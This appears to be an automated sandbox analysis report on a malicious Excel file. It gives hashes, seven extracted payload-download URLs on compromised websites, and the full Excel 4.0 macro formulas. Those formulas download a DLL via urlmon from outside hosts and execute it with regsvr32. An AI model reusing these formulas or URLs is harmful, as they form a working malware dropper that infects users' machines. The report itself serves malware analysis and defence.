Static task
static1
Behavioral task
behavioral1
Sample
55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083.xlsx
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083.xlsx
Resource
win10v2004-20240802-en
General
-
Target
55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083
-
Size
19KB
-
MD5
70732a74d9470c867060a893c11de67a
-
SHA1
de2b0d91ad78ffd3fbc7c84ee6624461e02c2dd4
-
SHA256
55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083
-
SHA512
32672f56accdc88062c0df9f75f3f49bc5a36a3e3aa074815a0219a709e620b165da9f6dfcbfcde35cd8c4d6f0401c0d2008753cd0182fae93bb7c47f5c307ec
-
SSDEEP
384:cCv7zVthi3zIKeVBZqt7cP7unjasIX7xT2Xxu:cCvNziD/ecmPAj1IJ9
Malware Config
Extracted
http://beetle-j.jp/wp-admin/ErM4mW05tdj/
https://brutobrasil.com.br/pdf/toO18cIP3/
http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/
http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/
http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/
http://bcelectronics.co.za/wp-content/grKnz1V/
http://bebesel.com.tr/cgi-bin/1wy3oHO/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beetle-j.jp/wp-admin/ErM4mW05tdj/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://brutobrasil.com.br/pdf/toO18cIP3/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://e3technology.in/2checkout_integration_php/rDcr1Wl90WWA9M/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://biesenbeek.nl/familie/b6KKlrfH75GD3dHojB/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bjornbol.dk/wp-includes/ve4cnkjsUMWXC5Cb2bJ/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bcelectronics.co.za/wp-content/grKnz1V/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bebesel.com.tr/cgi-bin/1wy3oHO/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
Files
-
55ce285832a37332086b9a2c418e77b0bbe461284a4595e4c4a071b73a90e083.xlsx office2007